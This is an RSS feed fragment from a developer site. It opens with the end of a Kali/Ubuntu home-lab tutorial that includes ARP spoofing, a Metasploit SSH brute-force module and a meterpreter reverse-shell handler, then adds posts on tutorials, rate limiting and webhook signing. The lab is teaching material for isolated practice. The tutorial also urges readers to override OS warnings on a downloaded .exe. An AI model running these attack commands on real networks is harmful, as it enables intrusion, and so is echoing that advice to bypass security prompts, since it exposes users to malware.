&lt;p&gt;sudo ettercap -G                            # GUI&lt;br&gt;
sudo bettercap -iface eth0&lt;/p&gt;
&lt;p&gt;How this works: ARP spoofing tricks both the target and the gateway into sending traffic through your Kali machine first, letting Wireshark or bettercap see it in transit. This only works within the same local network segment—exactly what your host-only lab network provides.&lt;br&gt;
 Step 11: Metasploit Framework&lt;/p&gt;
&lt;p&gt;Goal: Move from &quot;this service looks vulnerable&quot; to an actual working exploit against the Ubuntu target, using a pre-built module.&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;sudo msfconsole&lt;/p&gt;
&lt;p&gt;Inside msfconsole:&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;search ssh_login&lt;br&gt;
use auxiliary/scanner/ssh/ssh_login&lt;br&gt;
set RHOSTS 192.168.100.20&lt;br&gt;
set USERNAME testuser&lt;br&gt;
set PASSWORD password123&lt;br&gt;
run&lt;/p&gt;
&lt;p&gt;Reverse shell example:&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;use exploit/multi/handler&lt;br&gt;
set PAYLOAD linux/x64/meterpreter/reverse_tcp&lt;br&gt;
set LHOST 192.168.100.10&lt;br&gt;
set LPORT 4444&lt;br&gt;
run&lt;/p&gt;
&lt;p&gt; Step 12: Snapshot Management (VBoxManage)&lt;/p&gt;
&lt;p&gt;Why: Take a snapshot before every risky experiment so a botched exploit or a crashed service is one command away from undone. You can take the snapshot by opening the machine dialogue on the top-left of the VM or use the bash commands below.&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;VBoxManage list vms&lt;br&gt;
VBoxManage snapshot &quot;Kali&quot; take &quot;Snapshot-Name&quot; --description &quot;Description&quot;&lt;br&gt;
VBoxManage snapshot &quot;Kali&quot; list&lt;br&gt;
VBoxManage snapshot &quot;Kali&quot; restore &quot;Snapshot-Name&quot;&lt;br&gt;
VBoxManage snapshot &quot;Kali&quot; delete &quot;Snapshot-Name&quot;&lt;/p&gt;
&lt;h2 id=&quot;vm-power-control&quot;&gt;VM power control&lt;/h2&gt;
&lt;p&gt;VBoxManage startvm &quot;Kali&quot; --type headless&lt;br&gt;
VBoxManage controlvm &quot;Kali&quot; poweroff&lt;/p&gt;
&lt;p&gt;⚙️ Part 2: Ubuntu Target Configuration&lt;/p&gt;
&lt;p&gt;Everything below runs on the Ubuntu VM, giving Kali a normal network stack and running services to find.&lt;br&gt;
Network &amp;amp; Service Configuration&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;network-configuration&quot;&gt;Network configuration&lt;/h2&gt;
&lt;p&gt;ip a                                    # check interfaces&lt;br&gt;
sudo nano /etc/netplan/01-netcfg.yaml   # static IP config&lt;br&gt;
sudo netplan apply                      # apply changes&lt;br&gt;
sudo netplan try                        # test, auto-rollback if it fails&lt;br&gt;
ping -c 3 192.168.100.10                # verify Kali is reachable&lt;/p&gt;
&lt;h2 id=&quot;service-management&quot;&gt;Service management&lt;/h2&gt;
&lt;p&gt;sudo systemctl restart apache2&lt;br&gt;
sudo systemctl restart ssh&lt;br&gt;
sudo systemctl restart mariadb&lt;/p&gt;
&lt;p&gt;sudo systemctl status apache2&lt;br&gt;
sudo systemctl status ssh&lt;br&gt;
sudo systemctl status mariadb&lt;/p&gt;
&lt;h2 id=&quot;check-listening-ports&quot;&gt;Check listening ports&lt;/h2&gt;
&lt;p&gt;ss -tlnp&lt;br&gt;
sudo netstat -tlnp&lt;/p&gt;
&lt;p&gt;SSH Server Setup&lt;br&gt;
bash&lt;/p&gt;
&lt;h2 id=&quot;install-amp-enable&quot;&gt;Install &amp;amp; enable&lt;/h2&gt;
&lt;p&gt;sudo apt update&lt;br&gt;
sudo apt install -y openssh-server&lt;br&gt;
sudo systemctl enable --now ssh&lt;br&gt;
sudo systemctl status ssh&lt;/p&gt;
&lt;h2 id=&quot;create-a-test-account-amp-review-config&quot;&gt;Create a test account &amp;amp; review config&lt;/h2&gt;
&lt;p&gt;sudo adduser testuser                   # for Hydra practice&lt;br&gt;
sudo nano /etc/ssh/sshd_config&lt;/p&gt;
&lt;p&gt;Key options to inspect:&lt;br&gt;
text&lt;/p&gt;
&lt;p&gt;PermitRootLogin no&lt;br&gt;
PasswordAuthentication yes&lt;br&gt;
Port 22&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Why a test account? The Password Attacks section uses Hydra against SSH—create a deliberately weak-password account here so there's something realistic to crack in your own lab.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;MariaDB / MySQL Setup&lt;/p&gt;
&lt;p&gt;Why: DVWA (next step) needs a database and a dedicated database user to store its own accounts and vulnerable tables. With DVWA, you can perform SQL injection attacks from a web interface by visiting: &lt;a rel=&quot;nofollow&quot; href=&quot;http://target-ip/DVWA&quot;&gt;http://target-ip/DVWA&lt;/a&gt;&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;sudo mysql -u root&lt;/p&gt;
&lt;p&gt;Inside MySQL:&lt;br&gt;
sql&lt;/p&gt;
&lt;p&gt;CREATE DATABASE dwva;&lt;br&gt;
CREATE USER 'dwva'@'localhost' IDENTIFIED BY 'p@ssw0rd';&lt;br&gt;
GRANT ALL PRIVILEGES ON dwva.* TO 'dwva'@'localhost';&lt;br&gt;
FLUSH PRIVILEGES;&lt;/p&gt;
&lt;p&gt;SHOW DATABASES;&lt;br&gt;
USE dwva;&lt;br&gt;
SHOW TABLES;&lt;br&gt;
SELECT * FROM users;&lt;br&gt;
EXIT;&lt;/p&gt;
&lt;p&gt;Step 13: Installing DVWA (Vulnerable Web App)&lt;/p&gt;
&lt;p&gt;What is DVWA? A PHP/MySQL web app intentionally full of common vulnerabilities (SQL injection, XSS, weak passwords)—the standard practice target for Part 1's SQLmap and web enumeration commands.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Install the LAMP stack plus git:&lt;br&gt;
bash&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;sudo apt install -y apache2 \&lt;br&gt;
  mariadb-server php php-mysql \&lt;br&gt;
  php-gd libapache2-mod-php git&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Clone DVWA from GitHub into Apache's web root:&lt;br&gt;
bash&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;cd /var/www/html/&lt;br&gt;
sudo git clone &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/digininja/DVWA.git&quot;&gt;https://github.com/digininja/DVWA.git&lt;/a&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open permissions so DVWA can write its config:&lt;br&gt;
bash&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;sudo chmod -R 777 /var/www/html/DVWA/&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Copy the sample config and point it at your database:&lt;br&gt;
bash&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;cd /var/www/html/DVWA/config/&lt;br&gt;
sudo cp config.inc.php.dist config.inc.php&lt;br&gt;
sudo nano config.inc.php # db_user='dwva', db_password='p@ssw0rd'&lt;/p&gt;
&lt;p&gt;Access it: Open &lt;a rel=&quot;nofollow&quot; href=&quot;http://&amp;lt;Ubuntu-IP&amp;gt;/DVWA/setup.php&quot;&gt;http://&amp;lt;Ubuntu-IP&amp;gt;/DVWA/setup.php&lt;/a&gt; from Kali's browser. Default login is admin / password. Set the security level to &quot;low&quot; while you're first learning each attack.&lt;br&gt;
 Step 14: Monitoring &amp;amp; Apache Hardening&lt;/p&gt;
&lt;p&gt;Watching the target during an attack:&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;top / htop                                              # live resource usage&lt;br&gt;
ss -tn state established '( sport = :80 )' | wc -l      # count HTTP connections&lt;br&gt;
sudo iftop -i enp0s3                                    # live network traffic&lt;br&gt;
sudo tail -f /var/log/apache2/access.log                # request log&lt;br&gt;
ps aux | grep apache                                    # process monitoring&lt;/p&gt;
&lt;p&gt;Hardening Apache:&lt;br&gt;
bash&lt;/p&gt;
&lt;p&gt;sudo a2enmod reqtimeout&lt;br&gt;
sudo a2enmod headers&lt;br&gt;
sudo systemctl restart apache2&lt;/p&gt;
&lt;p&gt;Sample hardening for /etc/apache2/apache2.conf:&lt;br&gt;
text&lt;/p&gt;
&lt;p&gt;Timeout 30&lt;br&gt;
MaxRequestWorkers 150&lt;br&gt;
KeepAliveTimeout 5&lt;/p&gt;
&lt;p&gt;Full circle: After you've successfully run a DoS test from Kali, come back here and apply these settings—then re-run the same attack and watch the difference in how long the server holds up.&lt;br&gt;
 End Of Lab&lt;/p&gt;
&lt;p&gt;Understanding bash commands is always the first and most important step. Ubuntu and Kali both have excellent documentation.&lt;/p&gt;
&lt;p&gt;If it feels overwhelming, you can download and run this binary tool that compiles and categorizes over 500 bash commands and their usage for free:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://github.com/toyosee/cyberref-releases/releases/tag/v0.2.0

Download and run the cyberref.exe—no installation needed, no internet needed.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a free tool for students, researchers, and a quick reference for professionals. Your OS might reject it at first; grant it access. It is harmless.&lt;br&gt;
 About Me&lt;/p&gt;
&lt;p&gt;I am a usual guy that likes technology. If you wish to know more about me, follow me:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LinkedIn: www.linkedin.com/in/elijahbolaji/

GitHub: https://github.com/toyosee/

YouTube: https://www.youtube.com/@barterverse
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Need a Video Guide? If you want a step-by-step video guide, ask in the comment section.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29401/how-to-build-a-safe-isolated-cybersecurity-home-lab-kali-ubuntu</guid>
<pubDate>Thu, 01 Oct 2026 11:52:16 +0000</pubDate>
</item>
<item>
<title>The most dangerous sentence in any tutorial is &quot;it should look like this&quot;</title>
<link>https://coderlegion.com/29268/the-most-dangerous-sentence-in-any-tutorial-is-it-should-look-like-this</link>
<description>&lt;p&gt;Every tutorial I've ever followed has a moment where the author shows a screenshot or a photo and says &quot;your project should look like this.&quot;&lt;/p&gt;
&lt;p&gt;And every single time, mine doesn't.&lt;/p&gt;
&lt;p&gt;The code is identical. The wiring matches the diagram. The versions are the same. But something is wrong, and the tutorial has already moved on to the next step, and there is no &quot;what to do if it doesn't look like this&quot; section because the author's setup worked on the first try.&lt;/p&gt;
&lt;p&gt;I've spent more time debugging the gap between a tutorial's happy path and my actual reality than I've spent following the tutorials themselves.&lt;/p&gt;
&lt;p&gt;What's the longest you've been stuck on a step that the tutorial breezed past in one sentence?&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29268/the-most-dangerous-sentence-in-any-tutorial-is-it-should-look-like-this</guid>
<pubDate>Wed, 30 Sep 2026 16:05:03 +0000</pubDate>
</item>
<item>
<title>Rate Limiting Algorithms: Token Bucket vs Sliding Window Explained</title>
<link>https://coderlegion.com/29193/rate-limiting-algorithms-token-bucket-vs-sliding-window-explained</link>
<description>&lt;p&gt;Every public API eventually needs a way to say &quot;not so fast.&quot; Without it, one misbehaving client, a retry loop gone wrong, or a scraper can consume enough capacity to slow the service down for everyone else. Rate limiting is the mechanism that enforces a cap on how many requests a client can make in a given period, and the algorithm you pick decides how fair, how bursty, and how expensive that enforcement actually is.&lt;/p&gt;
&lt;p&gt;Two algorithms show up in almost every real system: token bucket and sliding window. They solve the same problem but make different tradeoffs, and picking the wrong one for the situation shows up later as either angry customers getting blocked unfairly or a service that never really protects itself.&lt;/p&gt;
&lt;h3 id=&quot;why-rate-limiting-exists-in-the-first-place&quot;&gt;Why rate limiting exists in the first place&lt;/h3&gt;
&lt;p&gt;A rate limit protects three things at once: the backend's own capacity, other tenants sharing that capacity, and, less obviously, the calling client itself. A client that's about to exceed a limit is often about to make things worse for itself too, retrying failed requests in a loop, burning through a budget, or hammering a downstream service it doesn't realize is struggling.&lt;/p&gt;
&lt;p&gt;Limits are usually expressed as &quot;N requests per period,&quot; like 100 requests per minute. The simplest possible implementation, a fixed window counter that resets every 60 seconds, has an obvious flaw: a client can send 100 requests in the last second of one window and another 100 in the first second of the next, producing 200 requests in roughly two seconds even though the stated limit is 100 per minute. Both token bucket and sliding window exist to close that gap.&lt;/p&gt;
&lt;h3 id=&quot;the-token-bucket-algorithm&quot;&gt;The token bucket algorithm&lt;/h3&gt;
&lt;p&gt;A token bucket holds a fixed number of tokens, refilled at a steady rate, say one token every 600 milliseconds for a 100-per-minute limit. Every incoming request consumes one token. If a token is available, the request goes through and the count drops by one. If the bucket is empty, the request is rejected or delayed until the next token arrives.&lt;/p&gt;
&lt;p&gt;The useful property here is that the bucket can hold unused tokens up to its capacity, which means a client that's been idle can send a short burst of requests immediately, then settle into the steady refill rate. This matches how real traffic actually behaves: a dashboard that loads ten resources at once on page load, then goes quiet. Token bucket tolerates that burst without needing a special case for it.&lt;/p&gt;
&lt;p&gt;The tradeoff is that token bucket is a smoothing model, not a precise historical count. It doesn't answer &quot;how many requests happened in the last 60 seconds,&quot; it answers &quot;is there capacity available right now,&quot; which is a different (and usually more useful) question for protecting a backend, but a worse fit if the actual requirement is a hard, auditable cap like &quot;this API key gets exactly 10,000 calls a day.&quot;&lt;/p&gt;
&lt;h3 id=&quot;the-sliding-window-algorithm&quot;&gt;The sliding window algorithm&lt;/h3&gt;
&lt;p&gt;Sliding window fixes the boundary problem in fixed windows by looking at a rolling period instead of a fixed calendar-aligned one. Instead of asking &quot;how many requests since minute 0,&quot; it asks &quot;how many requests happened in the last 60 seconds, starting from right now.&quot;&lt;/p&gt;
&lt;p&gt;There are two common ways to implement it. A true sliding log keeps a timestamp for every request and counts how many fall inside the trailing window, which is accurate but can get memory-heavy under high request volume. A sliding window counter approximates this cheaply: it keeps two fixed window counters (the current one and the previous one) and computes a weighted count based on how far into the current window the request landed. That weighted approach is what most production systems, including common Redis-based rate limiters, actually implement, because it gets very close to the true sliding log at a fraction of the storage cost.&lt;/p&gt;
&lt;p&gt;Sliding window's strength is precision and fairness across the boundary, it closes the fixed-window loophole directly and gives an answer that matches what a person means by &quot;100 requests per minute.&quot; Its weakness is that it doesn't naturally allow the same kind of burst tolerance that token bucket gives for free. A client that's been well under its limit for an hour gets no credit for that when a burst arrives.&lt;/p&gt;
&lt;h3 id=&quot;comparing-the-two-in-practice&quot;&gt;Comparing the two in practice&lt;/h3&gt;
&lt;p&gt;Token bucket tends to fit situations where short bursts are normal and desirable, API gateways protecting infrastructure, client SDKs pacing their own outbound calls, or anywhere the goal is smoothing traffic rather than producing an exact count. Sliding window tends to fit situations where the limit is a contractual or billing-relevant number, like a per-plan API quota that needs to be enforceable and explainable to a customer who asks why they got a 429.&lt;/p&gt;
&lt;p&gt;Neither algorithm is inherently &quot;more correct.&quot; A payments API and an internal caching layer within the same company might reasonably choose different ones for the same nominal limit, because they're actually solving different problems: one is protecting shared infrastructure from spikes, the other is enforcing a plan boundary a customer agreed to.&lt;/p&gt;
&lt;h3 id=&quot;where-enforcement-actually-lives&quot;&gt;Where enforcement actually lives&lt;/h3&gt;
&lt;p&gt;Rate limiting can sit in a few different places, and where it sits changes what's practical. At the API gateway or edge (a service like Cloudflare, or a reverse proxy), it protects the backend before a request even reaches application code, which is the right place for coarse, infrastructure-protecting limits. Inside the application, backed by a shared store like Redis, it can enforce per-user or per-API-key limits with either algorithm, since Redis makes atomic increment-and-check operations cheap and the same counters are visible across every application instance. Purely in-memory, per-process limiting is the least reliable option in any system running more than one instance, because each instance ends up enforcing its own separate limit rather than a shared one.&lt;/p&gt;
&lt;p&gt;Whichever layer enforces the limit, the response matters as much as the algorithm. A 429 status code with a &lt;code&gt;Retry-After&lt;/code&gt; header, or the increasingly standard &lt;code&gt;RateLimit&lt;/code&gt; response headers, tells a well-behaved client exactly when to try again instead of forcing it to guess and retry blindly, which is itself a good way to accidentally cause the exact overload the limit was meant to prevent.&lt;/p&gt;
&lt;h3 id=&quot;choosing-between-them&quot;&gt;Choosing between them&lt;/h3&gt;
&lt;p&gt;A reasonable default: use token bucket when the goal is protecting a system from spiky traffic and bursts are actually fine, and use sliding window when the limit needs to be precise, explainable, and tied to something like a pricing plan or contractual quota. Plenty of systems end up combining the two: a fast token bucket at the edge to absorb spikes, and a sliding window count further in to enforce the account-level quota that shows up on an invoice.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29193/rate-limiting-algorithms-token-bucket-vs-sliding-window-explained</guid>
<pubDate>Wed, 30 Sep 2026 06:29:38 +0000</pubDate>
</item>
<item>
<title>What is a webhook? How webhooks work, and the six ways they break in production</title>
<link>https://coderlegion.com/28468/what-is-a-webhook-how-webhooks-work-and-the-six-ways-they-break-in-production</link>
<description>&lt;blockquote&gt;&lt;p&gt;This is a cross-post. The &lt;a rel=&quot;nofollow&quot; href=&quot;https://railhook.io/blog/what-is-a-webhook&quot;&gt;original on the Railhook blog&lt;/a&gt; has a diagram for each part: the anatomy of a signed request, polling against push, the retry ladder, duplicates, out-of-order delivery and secret rotation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A customer pays for order &lt;code&gt;ord_8412&lt;/code&gt;. The shop sends your backend a webhook, and your handler&lt;br&gt;
awards loyalty points, emails a receipt and calls the warehouse — which takes eleven seconds. The&lt;br&gt;
sender's timeout is ten, so it marks the delivery failed and sends it again. The customer gets two&lt;br&gt;
receipts and double points, and your logs show two perfectly healthy &lt;code&gt;200&lt;/code&gt;s.&lt;/p&gt;
&lt;p&gt;Nothing in that story is a bug in the usual sense. Every line of the handler did what it said. It&lt;br&gt;
is what happens when code written for a function call meets a protocol built on retries — and it&lt;br&gt;
is the first of six failures this guide walks through, after the basics every one of them depends&lt;br&gt;
on.&lt;/p&gt;
&lt;h3 id=&quot;what-is-a-webhook-&quot;&gt;What is a webhook?&lt;/h3&gt;
&lt;p&gt;A webhook is an HTTP &lt;code&gt;POST&lt;/code&gt; that one system sends to a URL another system registered, at the&lt;br&gt;
moment an event happens. The receiver registers once — &quot;when an order is created, tell me at&lt;br&gt;
this URL&quot; — and from then on the sender calls it every time. This is what one looks like, signed&lt;br&gt;
the way the open &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/standard-webhooks/standard-webhooks/blob/main/spec/standard-webhooks.md&quot;&gt;Standard Webhooks&lt;/a&gt;&lt;br&gt;
specification describes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST /webhooks/orders HTTP/1.1
Host: api.example-shop.com
Content-Type: application/json
Content-Length: 186
webhook-id: msg_2mQ8hZk3Xv9aR1cT
webhook-timestamp: 1789983612
webhook-signature: v1,pX/4CnjtyRIdKhtP4FEBLl0a8pgk0IErOOHRkgsduog=

{
  &quot;type&quot;: &quot;order.created&quot;,
  &quot;timestamp&quot;: &quot;2026-09-21T09:40:12Z&quot;,
  &quot;data&quot;: {
    &quot;order_id&quot;: &quot;ord_8412&quot;,
    &quot;customer_id&quot;: &quot;cus_2291&quot;,
    &quot;total&quot;: 42.50,
    &quot;currency&quot;: &quot;EUR&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The signature is real. It was made with the secret&lt;br&gt;
&lt;code&gt;whsec_DioEXswemwdu+ScHzpEImNzhtrASzXe0vxCXPBmwuTM=&lt;/code&gt;: paste the body, that secret and the three&lt;br&gt;
headers into the &lt;a rel=&quot;nofollow&quot; href=&quot;https://railhook.io/tools/webhook-signature&quot;&gt;signature verifier&lt;/a&gt; and it will say the signature is&lt;br&gt;
valid — and that the timestamp is far too old to accept. Both answers are correct, and the second&lt;br&gt;
one is a security feature.&lt;/p&gt;
&lt;h3 id=&quot;webhook-vs-api-polling&quot;&gt;Webhook vs API polling&lt;/h3&gt;
&lt;p&gt;The alternative to being told is asking: calling the other system's API on a timer to see whether&lt;br&gt;
anything changed.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Polling an API &lt;/th&gt;&lt;th&gt;Receiving a webhook&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Who starts the request &lt;/td&gt;&lt;td&gt;You, on a timer &lt;/td&gt;&lt;td&gt;The sender, when something happens&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Delay &lt;/td&gt;&lt;td&gt;Up to one polling interval &lt;/td&gt;&lt;td&gt;Usually seconds&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Requests when nothing happens &lt;/td&gt;&lt;td&gt;One per interval, forever &lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;What you must run &lt;/td&gt;&lt;td&gt;A scheduled job &lt;/td&gt;&lt;td&gt;A public HTTPS endpoint&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;If you are down &lt;/td&gt;&lt;td&gt;You catch up on the next poll &lt;/td&gt;&lt;td&gt;You depend on the sender's retries&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Shorten a polling interval and you pay in requests and rate limits; lengthen it and you pay in&lt;br&gt;
lag. A webhook costs one request per event. But read the last row twice: polling fails safe,&lt;br&gt;
because a missed poll is repeated by the next one, while a webhook fails however the &lt;em&gt;sender&lt;/em&gt;&lt;br&gt;
decides. That is why polling keeps a job in a good webhook integration — as the slow&lt;br&gt;
reconciliation that catches whatever the webhooks missed.&lt;/p&gt;
&lt;h3 id=&quot;sending-webhooks-what-the-sender-decides&quot;&gt;Sending webhooks: what the sender decides&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Event types.&lt;/strong&gt; Conventionally &lt;code&gt;resource.verb&lt;/code&gt; in the past tense: &lt;code&gt;order.created&lt;/code&gt;,&lt;br&gt;
&lt;code&gt;invoice.paid&lt;/code&gt;. The Standard Webhooks spec asks for a full-stop delimited &lt;code&gt;type&lt;/code&gt;, with a&lt;br&gt;
&lt;code&gt;timestamp&lt;/code&gt; and a &lt;code&gt;data&lt;/code&gt; object next to it. Treat types as a public API: renaming one breaks every&lt;br&gt;
receiver that routes on it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payloads.&lt;/strong&gt; A full snapshot of the resource saves the receiver a round trip; a thin&lt;br&gt;
notification carrying only an id makes it fetch the current state, which is never stale.&lt;br&gt;
&lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.stripe.com/webhooks&quot;&gt;Stripe&lt;/a&gt; offers both and calls them exactly that.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Subscriptions.&lt;/strong&gt; Which endpoint wants which event types. Sending everything to everyone just&lt;br&gt;
makes every receiver filter traffic it never asked for.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Signing.&lt;/strong&gt; Anyone can &lt;code&gt;POST&lt;/code&gt; to a public URL, so the receiver needs proof the request came from&lt;br&gt;
you, unaltered. That proof is an HMAC — a hash of the message keyed with a secret only the two of&lt;br&gt;
you hold. Standard Webhooks signs &lt;code&gt;webhook-id&lt;/code&gt;, &lt;code&gt;webhook-timestamp&lt;/code&gt; and the raw body joined by full&lt;br&gt;
stops, with HMAC-SHA256, and sends the base64 result after a &lt;code&gt;v1,&lt;/code&gt; prefix. The secret is 24 to 64&lt;br&gt;
random bytes, base64-encoded, with a &lt;code&gt;whsec_&lt;/code&gt; prefix.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A replay window.&lt;/strong&gt; The timestamp is signed so that a captured request cannot be sent again&lt;br&gt;
tomorrow: the receiver rejects anything older than a few minutes. The spec leaves the tolerance to&lt;br&gt;
you; Stripe's libraries default to five minutes, a sensible place to start.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Timeouts and status codes.&lt;/strong&gt; The spec recommends a request timeout &quot;somewhere between 15 and&lt;br&gt;
30s&quot;. &lt;code&gt;2xx&lt;/code&gt; is success and anything else is retried — including redirects, which&lt;br&gt;
&lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.stripe.com/webhooks&quot;&gt;Stripe&lt;/a&gt; also counts as failures. Two codes carry extra meaning:&lt;br&gt;
&lt;code&gt;410 Gone&lt;/code&gt; asks the sender to disable the endpoint, &lt;code&gt;429 Too Many Requests&lt;/code&gt; asks it to slow down&lt;br&gt;
(&lt;a rel=&quot;nofollow&quot; href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status&quot;&gt;MDN&lt;/a&gt; has the full list).&lt;/p&gt;
&lt;h3 id=&quot;receiving-webhooks-four-jobs-in-order&quot;&gt;Receiving webhooks: four jobs, in order&lt;/h3&gt;
&lt;h4 id=&quot;verify-the-signature-on-the-raw-bytes&quot;&gt;Verify the signature on the raw bytes&lt;/h4&gt;
&lt;p&gt;Verification means recomputing the HMAC and comparing. What breaks it most often is &lt;em&gt;what&lt;/em&gt; you&lt;br&gt;
compute it over: it must be the exact bytes that arrived.&lt;/p&gt;
&lt;p&gt;Look at the example body. It says &lt;code&gt;&quot;total&quot;: 42.50&lt;/code&gt;. Parse it and serialise it back and you get&lt;br&gt;
&lt;code&gt;{&quot;type&quot;:&quot;order.created&quot;,…,&quot;total&quot;:42.5,…}&lt;/code&gt; — no whitespace, no trailing zero. Same data, different&lt;br&gt;
bytes, a completely different HMAC. Many frameworks parse JSON before your handler runs, so the&lt;br&gt;
body you are handed is already the wrong one. Stripe puts it bluntly: &quot;Any manipulation to the raw&lt;br&gt;
body of the request causes the verification to fail.&quot;&lt;/p&gt;
&lt;p&gt;In Node with Express, ask for the raw bytes on that one route:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;import crypto from 'node:crypto';
import express from 'express';

const secret = Buffer.from(process.env.WEBHOOK_SECRET.replace(/^whsec_/, ''), 'base64');
const TOLERANCE_SECONDS = 5 * 60;

// rawBody is a Buffer: the bytes that arrived, before any JSON parser saw them.
function verifyWebhook(rawBody, headers) {
  const id = headers['webhook-id'];
  const timestamp = headers['webhook-timestamp'];
  const signatures = headers['webhook-signature'];
  if (!id || !/^\d+$/.test(timestamp ?? '') || !signatures) return false;

  // The replay window: a captured request is useless five minutes later.
  if (Math.abs(Date.now() / 1000 - Number(timestamp)) &amp;gt; TOLERANCE_SECONDS) return false;

  const expected = crypto
    .createHmac('sha256', secret)
    .update(`${id}.${timestamp}.`)
    .update(rawBody)
    .digest();

  // Space-separated: during a secret rotation there is one signature per secret.
  return signatures.split(' ').some((entry) =&amp;gt; {
    const [version, value] = entry.split(',');
    if (version !== 'v1' || !value) return false;
    const received = Buffer.from(value, 'base64');
    return received.length === expected.length &amp;amp;&amp;amp; crypto.timingSafeEqual(received, expected);
  });
}

const app = express();
app.post('/webhooks/orders', express.raw({ type: 'application/json' }), (req, res) =&amp;gt; {
  if (!verifyWebhook(req.body, req.headers)) return res.sendStatus(400);
  // …record the id, enqueue, answer (below)
  res.sendStatus(200);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The same in Python, where Flask's &lt;code&gt;request.get_data()&lt;/code&gt; returns the untouched bytes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import base64
import hashlib
import hmac
import os
import time

SECRET = base64.b64decode(os.environ[&quot;WEBHOOK_SECRET&quot;].removeprefix(&quot;whsec_&quot;))
TOLERANCE_SECONDS = 5 * 60


def verify_webhook(raw_body: bytes, headers) -&amp;gt; bool:
    msg_id = headers.get(&quot;webhook-id&quot;)
    timestamp = headers.get(&quot;webhook-timestamp&quot;, &quot;&quot;)
    signatures = headers.get(&quot;webhook-signature&quot;)
    if not (msg_id and signatures and timestamp.isascii() and timestamp.isdigit()):
        return False

    # The replay window: a captured request is useless five minutes later.
    if abs(time.time() - int(timestamp)) &amp;gt; TOLERANCE_SECONDS:
        return False

    signed = f&quot;{msg_id}.{timestamp}.&quot;.encode() + raw_body
    expected = base64.b64encode(hmac.new(SECRET, signed, hashlib.sha256).digest())

    # Space-separated: during a secret rotation there is one signature per secret.
    for entry in signatures.split():
        version, _, value = entry.partition(&quot;,&quot;)
        if version == &quot;v1&quot; and hmac.compare_digest(value.encode(), expected):
            return True
    return False
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three details are deliberate. The comparison is constant-time (&lt;code&gt;timingSafeEqual&lt;/code&gt;,&lt;br&gt;
&lt;code&gt;compare_digest&lt;/code&gt;), as the spec requires: a plain &lt;code&gt;==&lt;/code&gt; returns sooner the earlier two strings&lt;br&gt;
differ, and leaks the answer a byte at a time. The secret is base64-decoded after &lt;code&gt;whsec_&lt;/code&gt; is&lt;br&gt;
stripped — using the string as-is is a classic reason a correct implementation never verifies&lt;br&gt;
anything. And the header may carry several signatures, which matters the day you rotate. If you&lt;br&gt;
would rather not own this code, the Standard Webhooks project publishes libraries that do exactly&lt;br&gt;
this for most languages.&lt;/p&gt;
&lt;h4 id=&quot;answer-in-milliseconds-work-later&quot;&gt;Answer in milliseconds, work later&lt;/h4&gt;
&lt;p&gt;The sender is holding a connection open and counting.&lt;br&gt;
&lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.github.com/en/webhooks/using-webhooks/best-practices-for-using-webhooks&quot;&gt;GitHub&lt;/a&gt;&lt;br&gt;
gives you ten seconds, then &quot;considers the delivery a failure&quot;. Stripe publishes no number; it&lt;br&gt;
says to return &lt;code&gt;2xx&lt;/code&gt; &quot;before any complex logic that could cause a timeout&quot;, and to process events&lt;br&gt;
from an asynchronous queue.&lt;/p&gt;
&lt;p&gt;So the handler does the minimum: verify, record the event id, enqueue, return &lt;code&gt;200&lt;/code&gt;. The email, the&lt;br&gt;
